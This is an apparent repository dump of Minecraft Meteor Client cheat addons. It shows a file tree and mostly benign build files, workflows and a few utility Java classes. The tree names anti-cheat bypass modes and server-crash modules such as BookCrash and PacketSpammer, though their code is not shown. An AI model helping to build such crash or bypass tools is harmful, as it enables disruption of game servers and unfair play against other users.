├── MeteorPlus-1.20.2 ├── .editorconfig ├── .github │ ├── ISSUE_TEMPLATE │ │ ├── bug.yml │ │ └── suggestion.yml │ └── workflows │ │ ├── dev_build.yml │ │ └── pull_request.yml ├── .gitignore ├── LICENSE ├── README.md ├── ac-tests.md ├── build.gradle ├── donations.md ├── gradle.properties ├── gradle │ └── wrapper │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── libs │ ├── baritone-unoptimized-fabric-1.20.2-SNAPSHOT.jar │ └── meteor-client-0.5.5.jar ├── settings.gradle └── src │ └── main │ ├── java │ └── nekiplay │ │ └── meteorplus │ │ ├── MeteorPlus.java │ │ ├── MixinPlugin.java │ │ ├── events │ │ └── ClickWindowEvent.java │ │ ├── features │ │ ├── commands │ │ │ ├── ClearInventory.java │ │ │ ├── Eclip.java │ │ │ ├── GPT.java │ │ │ └── GotoPlus.java │ │ └── modules │ │ │ ├── AntiBotPlus.java │ │ │ ├── AutoAccept.java │ │ │ ├── AutoCraftPlus.java │ │ │ ├── AutoDropPlus.java │ │ │ ├── AutoLeave.java │ │ │ ├── BedrockStorageBruteforce.java │ │ │ ├── BoatAura.java │ │ │ ├── ChatGPT.java │ │ │ ├── EyeFinder.java │ │ │ ├── Freeze.java │ │ │ ├── GhostBlockFixer.java │ │ │ ├── InventoryMovePlus.java │ │ │ ├── ItemFrameEsp.java │ │ │ ├── ItemHighlightPlus.java │ │ │ ├── MiddleClickExtraPlus.java │ │ │ ├── MultiTasks.java │ │ │ ├── SafeMine.java │ │ │ ├── TriggerBot.java │ │ │ ├── XrayBruteforce.java │ │ │ ├── autoobsidianmine │ │ │ ├── AutoObsidianFarm.java │ │ │ ├── AutoObsidianFarmMode.java │ │ │ ├── AutoObsidianFarmModes.java │ │ │ └── modes │ │ │ │ ├── Cauldrons.java │ │ │ │ └── Portals.java │ │ │ ├── fastladder │ │ │ ├── FastLadderMode.java │ │ │ ├── FastLadderModes.java │ │ │ ├── FastLadderPlus.java │ │ │ └── modes │ │ │ │ └── Spartan.java │ │ │ ├── fly │ │ │ ├── FlyMode.java │ │ │ ├── FlyModes.java │ │ │ ├── FlyPlus.java │ │ │ └── modes │ │ │ │ ├── Damage.java │ │ │ │ ├── MatrixExploit.java │ │ │ │ ├── MatrixExploit2.java │ │ │ │ └── VulcanClip.java │ │ │ ├── integrations │ │ │ ├── LitematicaPrinter.java │ │ │ ├── MapIntegration.java │ │ │ ├── MyUtils.java │ │ │ └── journeymap │ │ │ │ └── JourneyMapMeteorPlus.java │ │ │ ├── jesus │ │ │ ├── JesusMode.java │ │ │ ├── JesusModes.java │ │ │ ├── JesusPlus.java │ │ │ └── modes │ │ │ │ ├── MatrixZoom.java │ │ │ │ ├── MatrixZoom2.java │ │ │ │ └── VulcanExploit.java │ │ │ ├── killaura │ │ │ ├── KillAuraPlus.java │ │ │ ├── KillAuraPlusMode.java │ │ │ ├── KillAuraPlusModes.java │ │ │ └── modes │ │ │ │ └── LiquidBounceAura.java │ │ │ ├── nofall │ │ │ ├── NoFallModes.java │ │ │ ├── NoFallPlus.java │ │ │ ├── NofallMode.java │ │ │ └── modes │ │ │ │ ├── Eclip.java │ │ │ │ ├── MatrixNew.java │ │ │ │ └── Vulcan.java │ │ │ ├── speed │ │ │ ├── SpeedMode.java │ │ │ ├── SpeedModes.java │ │ │ ├── SpeedPlus.java │ │ │ └── modes │ │ │ │ ├── AACHop438.java │ │ │ │ ├── NCPHop.java │ │ │ │ ├── Vulcan.java │ │ │ │ └── matrix │ │ │ │ ├── Matrix.java │ │ │ │ ├── Matrix6_7_0.java │ │ │ │ ├── MatrixExploit.java │ │ │ │ └── MatrixExploit2.java │ │ │ ├── spider │ │ │ ├── SpiderMode.java │ │ │ ├── SpiderModes.java │ │ │ ├── SpiderPlus.java │ │ │ └── modes │ │ │ │ ├── Eclip.java │ │ │ │ ├── Matrix.java │ │ │ │ └── Vulcan.java │ │ │ ├── timer │ │ │ ├── TimerMode.java │ │ │ ├── TimerModes.java │ │ │ ├── TimerPlus.java │ │ │ └── modes │ │ │ │ └── NCP.java │ │ │ └── velocity │ │ │ ├── VelocityMode.java │ │ │ ├── VelocityModes.java │ │ │ ├── VelocityPlus.java │ │ │ └── modes │ │ │ └── Grim.java │ │ ├── gui │ │ └── tabs │ │ │ └── HiddenModulesTab.java │ │ ├── hud │ │ └── TimerPlusCharge.java │ │ ├── mixin │ │ ├── journeymap │ │ │ └── WaypointManagerItemMixin.java │ │ ├── meteorclient │ │ │ ├── AutoToolMixin.java │ │ │ ├── DefaultSettingsWidgetFactoryMixin.java │ │ │ ├── ESPMixin.java │ │ │ ├── FontsMixin.java │ │ │ ├── FreecamMixin.java │ │ │ ├── InventoryTweaksMixin.java │ │ │ ├── ItemHighlightMixin.java │ │ │ ├── KillAuraMixin.java │ │ │ ├── LeftRightSettingsScreenMixin.java │ │ │ ├── ModuleMixin.java │ │ │ ├── ModulesScreenMixin.java │ │ │ ├── TracersMixin.java │ │ │ ├── WMeteorModuleMixin.java │ │ │ ├── WPressableMixin.java │ │ │ └── WaypointsModuleMixin.java │ │ ├── minecraft │ │ │ ├── ClientPlayerInteractionManagerMixin.java │ │ │ ├── MinecraftClientMixin.java │ │ │ ├── MobSpawnerBlockEntityAccessor.java │ │ │ └── MobSpawnerLogicAccessor.java │ │ └── xaero │ │ │ └── worldmap │ │ │ ├── GuiMapMixin.java │ │ │ ├── MapPixelAccessor.java │ │ │ └── WaypointRendererMixin.java │ │ ├── mixinclasses │ │ ├── CustomTextRendererV2.java │ │ ├── EditWaypointScreen.java │ │ ├── FontV2.java │ │ ├── IModule.java │ │ ├── WIcon.java │ │ └── WaypointsModuleModes.java │ │ ├── settings │ │ └── items │ │ │ ├── ESPItemData.java │ │ │ ├── ESPItemDataScreen.java │ │ │ ├── HiglightItemData.java │ │ │ ├── HiglightItemDataScren.java │ │ │ ├── IItemData.java │ │ │ ├── ItemDataSetting.java │ │ │ ├── ItemDataSettingScreen.java │ │ │ └── MeteorPlusSettings.java │ │ └── utils │ │ ├── BlockHelper.java │ │ ├── ColorRemover.java │ │ ├── CustomSpeedUtils.java │ │ ├── ElytraUtils.java │ │ ├── GenerationBlock.java │ │ ├── MovementUtils.java │ │ ├── NumeralUtils.java │ │ ├── Perlin2D.java │ │ ├── RandomString.java │ │ ├── RaycastUtils.java │ │ ├── RotationUtils.java │ │ ├── algoritms │ │ ├── PerlinNoice.java │ │ ├── RandomUtils.java │ │ ├── ShadyRotation.java │ │ └── Smooth.java │ │ └── xraybruteforce │ │ ├── XBlock.java │ │ ├── XChunk.java │ │ └── XGroup.java │ └── resources │ ├── assets │ └── meteorplus │ │ ├── icon.png │ │ ├── lang │ │ ├── en_us.json │ │ └── ru_ru.json │ │ └── logo.png │ ├── fabric.mod.json │ ├── meteor-plus-journeymap.mixins.json │ ├── meteor-plus-xaeroworldmap.mixins.json │ ├── meteor-plus.accesswidener │ └── meteor-plus.mixins.json ├── Meteorist-1.7 ├── .github │ └── ISSUE_TEMPLATE │ │ ├── bug.yml │ │ └── suggestion.yml ├── .gitignore ├── LICENSE ├── README.md ├── build.gradle ├── gradle.properties ├── gradle │ └── wrapper │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── settings.gradle └── src │ └── main │ ├── java │ └── zgoly │ │ └── meteorist │ │ ├── Meteorist.java │ │ ├── commands │ │ ├── Coordinates.java │ │ └── TargetNbt.java │ │ ├── hud │ │ └── Presets.java │ │ ├── modules │ │ ├── AutoFeed.java │ │ ├── AutoFix.java │ │ ├── AutoHeal.java │ │ ├── AutoLeave.java │ │ ├── AutoLight.java │ │ ├── AutoLogin.java │ │ ├── AutoSleep.java │ │ ├── AutoSneak.java │ │ ├── DmSpam.java │ │ ├── EntityUse.java │ │ ├── ItemSucker.java │ │ ├── JumpFlight.java │ │ ├── JumpJump.java │ │ ├── Placer.java │ │ ├── SlotClick.java │ │ ├── ZAimbot.java │ │ └── ZKillaura.java │ │ └── utils │ │ ├── SlotClickSyntaxHighlighting.java │ │ └── Utils.java │ └── resources │ ├── assets │ └── meteorist │ │ ├── icon.png │ │ └── textures │ │ └── icons │ │ └── gui │ │ ├── arrow_down.png │ │ ├── arrow_up.png │ │ └── copy.png │ └── fabric.mod.json ├── Numby-hack-1.20.2-build-25 ├── .github │ ├── dependabot.yml │ └── workflows │ │ ├── gradle.yml │ │ └── pull_request.yml ├── .gitignore ├── LICENSE ├── README.md ├── build.gradle ├── gradle.properties ├── gradle │ └── wrapper │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── settings.gradle └── src │ └── main │ ├── java │ └── cqb13 │ │ └── NumbyHack │ │ ├── NumbyHack.java │ │ ├── events │ │ ├── CustomPayloadEvent.java │ │ ├── PushOutOfBlockEvent.java │ │ ├── SendRawMessageEvent.java │ │ └── Teleport.java │ │ ├── mixins │ │ ├── ClientPlayerEntityMixin.java │ │ ├── CustomPayloadS2CPacketMixin.java │ │ ├── DeathScreenMixin.java │ │ ├── EntityAccessor.java │ │ ├── TotemParticleMixin.java │ │ └── meteor │ │ │ ├── BetterChatMixin.java │ │ │ ├── CrystalAuraAccessor.java │ │ │ └── DiscordPresenceMixin.java │ │ ├── modules │ │ ├── commands │ │ │ ├── ClearChat.java │ │ │ ├── HeadItem.java │ │ │ └── Trash.java │ │ ├── general │ │ │ ├── AutoLogPlus.java │ │ │ ├── BetterPlace.java │ │ │ ├── Beyblade.java │ │ │ ├── ChatEncryption.java │ │ │ ├── ChorusExploit.java │ │ │ ├── ConditionToggle.java │ │ │ ├── Confetti.java │ │ │ ├── FloRida.java │ │ │ ├── GameSettings.java │ │ │ ├── GodBridge.java │ │ │ ├── IgnoreDeaths.java │ │ │ ├── JumpHelper.java │ │ │ ├── LogOutSpots.java │ │ │ ├── NewChunks.java │ │ │ ├── NoStrip.java │ │ │ ├── Number81.java │ │ │ ├── RideStats.java │ │ │ ├── SafeFire.java │ │ │ ├── SafetyNet.java │ │ │ ├── TanukiEgapFinder.java │ │ │ ├── TunnelESP.java │ │ │ └── WurstGlide.java │ │ └── hud │ │ │ ├── ItemCounter.java │ │ │ ├── Keys.java │ │ │ ├── Logo.java │ │ │ ├── TextPresets.java │ │ │ └── TextRadarHud.java │ │ └── utils │ │ ├── CHMainUtils.java │ │ ├── NumbyHackStarscript.java │ │ ├── PlayerParticle.java │ │ └── TimerUtils.java │ └── resources │ ├── META-INF │ └── MANIFEST.MF │ ├── Numby-Hack-refmap.json │ ├── NumbyHack.mixins.json │ ├── accesswidener │ ├── assets │ └── numby-hack │ │ └── textures │ │ └── icon.png │ └── fabric.mod.json ├── README.md ├── meteor-client-0.5.6 └── src │ └── main │ └── java │ └── meteordevelopment │ └── meteorclient │ └── renderer │ └── text │ └── CharData.java └── meteor-crash-addon-latest-1.20.2 ├── .editorconfig ├── .github └── workflows │ └── gradle.yml ├── .gitignore ├── LICENSE ├── README.md ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── settings.gradle └── src └── main ├── java └── widecat │ └── meteorcrashaddon │ ├── CrashAddon.java │ ├── commands │ └── CrashItemCommand.java │ └── modules │ ├── AACCrash.java │ ├── BookCrash.java │ ├── ContainerCrash.java │ ├── CraftingCrash.java │ ├── CreativeCrash.java │ ├── EntityCrash.java │ ├── ErrorCrash.java │ ├── InteractCrash.java │ ├── LecternCrash.java │ ├── MessageLagger.java │ ├── MovementCrash.java │ ├── PacketSpammer.java │ └── SequenceCrash.java └── resources ├── assets └── meteorcrashaddon │ └── icon.png ├── fabric.mod.json └── meteorcrashaddon.mixins.json /MeteorPlus-1.20.2/.editorconfig: -------------------------------------------------------------------------------- 1 | [*] 2 | charset = utf-8 3 | indent_style = tab 4 | insert_final_newline = true 5 | trim_trailing_whitespace = true 6 | indent_size = 4 7 | 8 | [*.{json, yml}] 9 | indent_size = 2 10 | 11 | [*.md] 12 | trim_trailing_whitespace = false 13 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/.github/ISSUE_TEMPLATE/bug.yml: -------------------------------------------------------------------------------- 1 | name: Bug 2 | description: Report a bug. 3 | title: '[Bug] ' 4 | labels: bug 5 | body: 6 | 7 | - type: textarea 8 | id: description 9 | attributes: 10 | label: Describe the bug 11 | description: | 12 | Provide as much information as possible, videos, crash reports, etc. 13 | validations: 14 | required: true 15 | - type: textarea 16 | id: reproducing 17 | attributes: 18 | label: Steps to reproduce 19 | description: How do you trigger this bug? 20 | render: bash 21 | validations: 22 | required: true 23 | - type: input 24 | id: mod-version 25 | attributes: 26 | label: Meteor Plus Version 27 | validations: 28 | required: true 29 | - type: input 30 | id: mc-version 31 | attributes: 32 | label: Minecraft Version 33 | validations: 34 | required: true 35 | - type: dropdown 36 | id: operating-systems 37 | attributes: 38 | label: Operating System 39 | options: 40 | - macOS 41 | - Windows 42 | - Linux 43 | validations: 44 | required: true 45 | - type: checkboxes 46 | id: prerequisites 47 | attributes: 48 | label: Before submitting a bug report 49 | options: 50 | - label: | 51 | This bug wasn't already reported. 52 | required: true 53 | - label: | 54 | This is a valid bug. 55 | required: true -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/.github/ISSUE_TEMPLATE/suggestion.yml: -------------------------------------------------------------------------------- 1 | name: Suggestion 2 | description: Suggest a feature for this mod. 3 | title: '[Suggestion] ' 4 | labels: enhancement 5 | body: 6 | - type: textarea 7 | id: description 8 | attributes: 9 | label: Description 10 | description: Description of what feature you want to see. 11 | validations: 12 | required: true 13 | - type: checkboxes 14 | id: prerequisites 15 | attributes: 16 | label: Before submitting a suggestion 17 | options: 18 | - label: | 19 | This feature doesn't already exist. 20 | required: true 21 | - label: | 22 | This wasn't already suggested. 23 | required: true -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/.github/workflows/dev_build.yml: -------------------------------------------------------------------------------- 1 | name: Development Build 2 | on: push 3 | 4 | jobs: 5 | build: 6 | runs-on: ubuntu-latest 7 | steps: 8 | - uses: actions/checkout@v2 9 | - uses: actions/setup-java@v2 10 | with: 11 | java-version: 18 12 | distribution: adopt 13 | - name: Build 14 | run: ./gradlew build 15 | - name: Release 16 | uses: marvinpinto/action-automatic-releases@latest 17 | with: 18 | repo_token: '${{ secrets.GITHUB_TOKEN }}' 19 | automatic_release_tag: "1.20.2" 20 | prerelease: true 21 | title: "1.20.2" 22 | files: | 23 | ./build/libs/*.jar 24 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/.github/workflows/pull_request.yml: -------------------------------------------------------------------------------- 1 | name: Build Pull Request 2 | on: pull_request 3 | 4 | jobs: 5 | build: 6 | runs-on: ubuntu-latest 7 | steps: 8 | - uses: actions/checkout@v2 9 | - uses: actions/setup-java@v2 10 | with: 11 | java-version: 18 12 | distribution: adopt 13 | - name: Build 14 | run: ./gradlew build 15 | - name: Upload artifacts 16 | uses: actions/upload-artifact@v2.2.4 17 | with: 18 | name: build-artifacts 19 | path: build/libs 20 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/.gitignore: -------------------------------------------------------------------------------- 1 | # gradle 2 | 3 | .gradle/ 4 | build/ 5 | out/ 6 | classes/ 7 | 8 | # eclipse 9 | 10 | *.launch 11 | 12 | # idea 13 | 14 | .idea/ 15 | *.iml 16 | *.ipr 17 | *.iws 18 | 19 | # vscode 20 | 21 | .settings/ 22 | .vscode/ 23 | bin/ 24 | .classpath 25 | .project 26 | 27 | # macos 28 | 29 | *.DS_Store 30 | 31 | # fabric 32 | 33 | run/ 34 | src/main/java/META-INF/MANIFEST.MF 35 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'fabric-loom' version '0.12-SNAPSHOT' 3 | } 4 | 5 | sourceCompatibility = targetCompatibility = JavaVersion.VERSION_17 6 | 7 | archivesBaseName = project.archives_base_name 8 | version = project.mod_version 9 | group = project.maven_group 10 | 11 | configurations.all { 12 | // Check for snapshots more frequently than Gradle's default of 1 day. 0 = every build. 13 | resolutionStrategy.cacheChangingModulesFor 0, 'seconds' 14 | } 15 | 16 | repositories { 17 | maven { 18 | url "https://jm.gserv.me/repository/maven-public/" 19 | content { 20 | includeGroup "info.journeymap" 21 | } 22 | } 23 | maven { 24 | url "https://api.modrinth.com/maven/" 25 | content { 26 | includeGroup "maven.modrinth" 27 | } 28 | } 29 | maven { url = "https://www.cursemaven.com" } 30 | maven { url = "https://masa.dy.fi/maven" } 31 | } 32 | 33 | dependencies { 34 | // Fabric 35 | minecraft "com.mojang:minecraft:${project.minecraft_version}" 36 | mappings "net.fabricmc:yarn:${project.yarn_mappings}:v2" 37 | modImplementation "net.fabricmc:fabric-loader:${project.loader_version}" 38 | 39 | // Meteor client 40 | modImplementation files("libs\\baritone-unoptimized-fabric-1.20.2-SNAPSHOT.jar") 41 | modImplementation files("libs\\meteor-client-0.5.5.jar") 42 | 43 | // Journey Map 44 | modCompileOnlyApi group: 'info.journeymap', name: 'journeymap-api', version: project.journeymap_api_fabric_version, changing: true 45 | modCompileOnly "maven.modrinth:journeymap:${project.jm_fabric_version}" 46 | 47 | // Xaero's Mods 48 | modCompileOnly "maven.modrinth:xaeros-world-map:${project.xwm_fabric_version}" // Xaero's World Map 49 | modCompileOnly "maven.modrinth:xaeros-minimap:${project.xmm_fabric_version}" // Xaero's Minimap 50 | 51 | // Litematica 52 | modImplementation "curse.maven:litematica-${project.litematica_projectid}:${project.litematica_fileid}" 53 | modImplementation "curse.maven:litematica-${project.malilib_projectid}:${project.malilib_fileid}" 54 | // modImplementation "fi.dy.masa.malilib:malilib-fabric-${project.minecraft_version}:${project.malilib_version}" 55 | } 56 | 57 | loom { 58 | accessWidenerPath = file("src/main/resources/meteor-plus.accesswidener") 59 | } 60 | 61 | processResources { 62 | filesMatching("fabric.mod.json") { 63 | expand "version": project.mod_version, "mc_version": project.minecraft_version, "gh_hash": (System.getenv("GITHUB_SHA") ?: "") 64 | } 65 | } 66 | 67 | tasks.withType(JavaCompile).configureEach { 68 | it.options.encoding("UTF-8") 69 | } 70 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/donations.md: -------------------------------------------------------------------------------- 1 | ## Donation addresses 2 | | Cryptocurrency | Addresses | 3 | |--------------------|-----------------------------------------------------------------------| 4 | | **Bitcoin (BTC)** | **bc1qyg8u8r7z9235h7y9982kuz85wp582xdmkhm0hc** | 5 | | **Ethereum (EHT)** | **0x70B44EEdf0614d9fAaa2BC74f342E056919cEA2E** | 6 | | **Nano (XNO)** | **nano_3484axa93k3ssig6nz6j8bueondhytjc47gbpfiqgm87tdzbjf74hzyeomei** | 7 | | **Monero (XMR)** | **49UpmgkdVKfF8deRceETiShuvW8BLGA59RkTRKbiwnxD4RAPUFebaztFQH9AbQuFxi5NjKoAbFcXpVRUosnXhTJ3PXrKAqv** | 8 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/gradle.properties: -------------------------------------------------------------------------------- 1 | org.gradle.jvmargs=-Xmx2G 2 | 3 | # Fabric (https://fabricmc.net/versions.html) 4 | minecraft_version=1.20.2 5 | yarn_mappings=1.20.2+build.4 6 | loader_version=0.14.22 7 | 8 | # Mod Properties 9 | mod_version=1.0.4 10 | maven_group=nekiplay.meteorplus 11 | archives_base_name=meteor-plus 12 | 13 | # Dependency Versions 14 | 15 | # Meteor (https://maven.meteordev.org/) 16 | # Not used 17 | meteor_version=0.5.5-SNAPSHOT 18 | 19 | # Journey Map 20 | journeymap_api_fabric_version=1.20.2-1.9-fabric-SNAPSHOT 21 | jm_fabric_version=1.20.2-5.9.15-fabric 22 | 23 | # Xaero's Mods 24 | # Xaero's World Map 25 | xwm_fabric_version=1.34.1_Fabric_1.20.2 26 | 27 | # Xaero's Minimap 28 | xmm_fabric_version=23.8.2_Fabric_1.20.2 29 | 30 | # Litematica 31 | litematica_fileid=4789765 32 | litematica_projectid=308892 33 | 34 | malilib_fileid=4788432 35 | malilib_projectid=303119 36 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/MeteorPlus-1.20.2/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.5-bin.zip 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/libs/baritone-unoptimized-fabric-1.20.2-SNAPSHOT.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/MeteorPlus-1.20.2/libs/baritone-unoptimized-fabric-1.20.2-SNAPSHOT.jar -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/libs/meteor-client-0.5.5.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/MeteorPlus-1.20.2/libs/meteor-client-0.5.5.jar -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/settings.gradle: -------------------------------------------------------------------------------- 1 | pluginManagement { 2 | repositories { 3 | maven { 4 | name = 'Fabric' 5 | url = 'https://maven.fabricmc.net/' 6 | } 7 | mavenCentral() 8 | gradlePluginPortal() 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/MixinPlugin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus; 2 | 3 | import net.fabricmc.loader.api.FabricLoader; 4 | import org.objectweb.asm.tree.ClassNode; 5 | import org.spongepowered.asm.mixin.extensibility.IMixinConfigPlugin; 6 | import org.spongepowered.asm.mixin.extensibility.IMixinInfo; 7 | import java.util.List; 8 | import java.util.Set; 9 | 10 | public class MixinPlugin implements IMixinConfigPlugin { 11 | private static final String mixinPackage = "nekiplay.meteorplus.mixin"; 12 | 13 | public static boolean isJourneyMapPresent; 14 | public static boolean isXaeroWorldMapresent; 15 | public static boolean isXaeroMiniMapresent; 16 | public static boolean isXaeroPlusMapresent; 17 | public static boolean isLitematicaMapresent; 18 | 19 | @Override 20 | public void onLoad(String mixinPackage) { 21 | isJourneyMapPresent = FabricLoader.getInstance().isModLoaded("journeymap"); 22 | isXaeroWorldMapresent = FabricLoader.getInstance().isModLoaded("xaeroworldmap"); 23 | isXaeroMiniMapresent = FabricLoader.getInstance().isModLoaded("xaerominimap"); 24 | isXaeroPlusMapresent = FabricLoader.getInstance().isModLoaded("xaeroplus"); 25 | isLitematicaMapresent = FabricLoader.getInstance().isModLoaded("litematica"); 26 | } 27 | 28 | @Override 29 | public String getRefMapperConfig() { 30 | return null; 31 | } 32 | 33 | @Override 34 | public boolean shouldApplyMixin(String targetClassName, String mixinClassName) { 35 | if (!mixinClassName.startsWith(mixinPackage)) { 36 | throw new RuntimeException("Mixin " + mixinClassName + " is not in the mixin package"); 37 | } 38 | else if (mixinClassName.startsWith(mixinPackage + ".journeymap")) { 39 | return isJourneyMapPresent; 40 | } 41 | else if (mixinClassName.startsWith(mixinPackage + ".xaeroworldmap")) { 42 | return isXaeroWorldMapresent; 43 | } 44 | else if (mixinClassName.startsWith(mixinPackage + ".xaerominimap")) { 45 | return isXaeroMiniMapresent; 46 | } 47 | return true; 48 | } 49 | 50 | @Override 51 | public void acceptTargets(Set myTargets, Set otherTargets) {} 52 | 53 | @Override 54 | public List getMixins() { 55 | return null; 56 | } 57 | 58 | @Override 59 | public void preApply(String targetClassName, ClassNode targetClass, String mixinClassName, IMixinInfo mixinInfo) {} 60 | 61 | @Override 62 | public void postApply(String targetClassName, ClassNode targetClass, String mixinClassName, IMixinInfo mixinInfo) {} 63 | 64 | } 65 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/events/ClickWindowEvent.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.events; 2 | 3 | import meteordevelopment.meteorclient.events.Cancellable; 4 | import net.minecraft.screen.slot.SlotActionType; 5 | 6 | public class ClickWindowEvent extends Cancellable { 7 | private static final ClickWindowEvent INSTANCE = new ClickWindowEvent(); 8 | 9 | public int windowId; 10 | public int slotId; 11 | public int mouseButtonClicked; 12 | public SlotActionType mode; 13 | 14 | public static ClickWindowEvent get(int windowId, int slotId, int mouseButtonClicked, SlotActionType mode) { 15 | INSTANCE.setCancelled(false); 16 | INSTANCE.windowId = windowId; 17 | INSTANCE.mouseButtonClicked = mouseButtonClicked;; 18 | INSTANCE.slotId = slotId; 19 | INSTANCE.mode = mode; 20 | return INSTANCE; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/commands/ClearInventory.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.commands; 2 | 3 | import com.mojang.brigadier.builder.LiteralArgumentBuilder; 4 | import meteordevelopment.meteorclient.commands.Command; 5 | import net.minecraft.command.CommandSource; 6 | import net.minecraft.item.ItemStack; 7 | import net.minecraft.screen.slot.SlotActionType; 8 | 9 | import static com.mojang.brigadier.Command.SINGLE_SUCCESS; 10 | import static meteordevelopment.meteorclient.MeteorClient.mc; 11 | import static nekiplay.meteorplus.features.modules.AutoDropPlus.invIndexToSlotId; 12 | 13 | public class ClearInventory extends Command { 14 | public ClearInventory() { 15 | super("clearinv", "Clear inventory"); 16 | } 17 | public void build(LiteralArgumentBuilder builder) { 18 | builder.executes(context -> { 19 | for (int i = 0; i < mc.player.getInventory().size(); i++) { 20 | ItemStack itemStack = mc.player.getInventory().getStack(i); 21 | if (itemStack != null) { 22 | mc.interactionManager.clickSlot(0, invIndexToSlotId(i), 300, SlotActionType.SWAP, mc.player); 23 | } 24 | } 25 | return SINGLE_SUCCESS; 26 | }); 27 | 28 | 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/ChatGPT.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules; 2 | 3 | import meteordevelopment.meteorclient.settings.EnumSetting; 4 | import meteordevelopment.meteorclient.settings.Setting; 5 | import meteordevelopment.meteorclient.settings.SettingGroup; 6 | import meteordevelopment.meteorclient.settings.StringSetting; 7 | import meteordevelopment.meteorclient.systems.modules.Module; 8 | import nekiplay.meteorplus.MeteorPlus; 9 | 10 | public class ChatGPT extends Module { 11 | public ChatGPT() { 12 | super(MeteorPlus.CATEGORY, "Chat GPT", "在我的世界里使用Chat GPT"); 13 | } 14 | 15 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 16 | 17 | public enum Service { 18 | NovaAI, 19 | NagaAI; 20 | 21 | @Override 22 | public String toString() { 23 | return super.toString().replace('_', ' '); 24 | } 25 | } 26 | 27 | public final Setting service = sgGeneral.add(new EnumSetting.Builder() 28 | .name("服务") 29 | .description("访问Chat GPT的服务") 30 | .defaultValue(Service.NagaAI) 31 | .build() 32 | ); 33 | 34 | public final Setting token_novaai = sgGeneral.add(new StringSetting.Builder() 35 | .name("NovaAI令牌") 36 | .description("从NovaAI获取的令牌") 37 | .defaultValue("") 38 | .visible(() -> service.get() == Service.NovaAI) 39 | .build() 40 | ); 41 | 42 | public final Setting token_nagaai = sgGeneral.add(new StringSetting.Builder() 43 | .name("NagaAI令牌") 44 | .description("从NagaAI获取的令牌") 45 | .defaultValue("") 46 | .visible(() -> service.get() == Service.NagaAI) 47 | .build() 48 | ); 49 | } 50 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/ItemHighlightPlus.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules; 2 | 3 | import meteordevelopment.meteorclient.renderer.ShapeMode; 4 | import meteordevelopment.meteorclient.settings.GenericSetting; 5 | import meteordevelopment.meteorclient.settings.ItemListSetting; 6 | import meteordevelopment.meteorclient.settings.Setting; 7 | import meteordevelopment.meteorclient.settings.SettingGroup; 8 | import meteordevelopment.meteorclient.systems.modules.Module; 9 | import meteordevelopment.meteorclient.utils.render.color.SettingColor; 10 | import nekiplay.meteorplus.MeteorPlus; 11 | import nekiplay.meteorplus.settings.items.ESPItemData; 12 | import nekiplay.meteorplus.settings.items.HiglightItemData; 13 | import nekiplay.meteorplus.settings.items.ItemDataSetting; 14 | import net.minecraft.item.Item; 15 | import net.minecraft.item.Items; 16 | 17 | import java.util.List; 18 | import java.util.Map; 19 | 20 | public class ItemHighlightPlus extends Module { 21 | public ItemHighlightPlus() { 22 | super(MeteorPlus.CATEGORY, "高亮物品+", "在物品栏和GUI中高亮选定的物品"); 23 | } 24 | 25 | public final SettingGroup sgGeneral = settings.getDefaultGroup(); 26 | public final Setting> whitelist = sgGeneral.add(new ItemListSetting.Builder() 27 | .name("物品") 28 | .description("要高亮的物品列表") 29 | .defaultValue( 30 | Items.ELYTRA 31 | ) 32 | .build() 33 | ); 34 | 35 | public final Setting defaultBlockConfig = sgGeneral.add(new GenericSetting.Builder() 36 | .name("默认物品配置") 37 | .description("默认的物品配置") 38 | .defaultValue( 39 | new HiglightItemData( 40 | new SettingColor(0, 255, 200, 25) 41 | ) 42 | ) 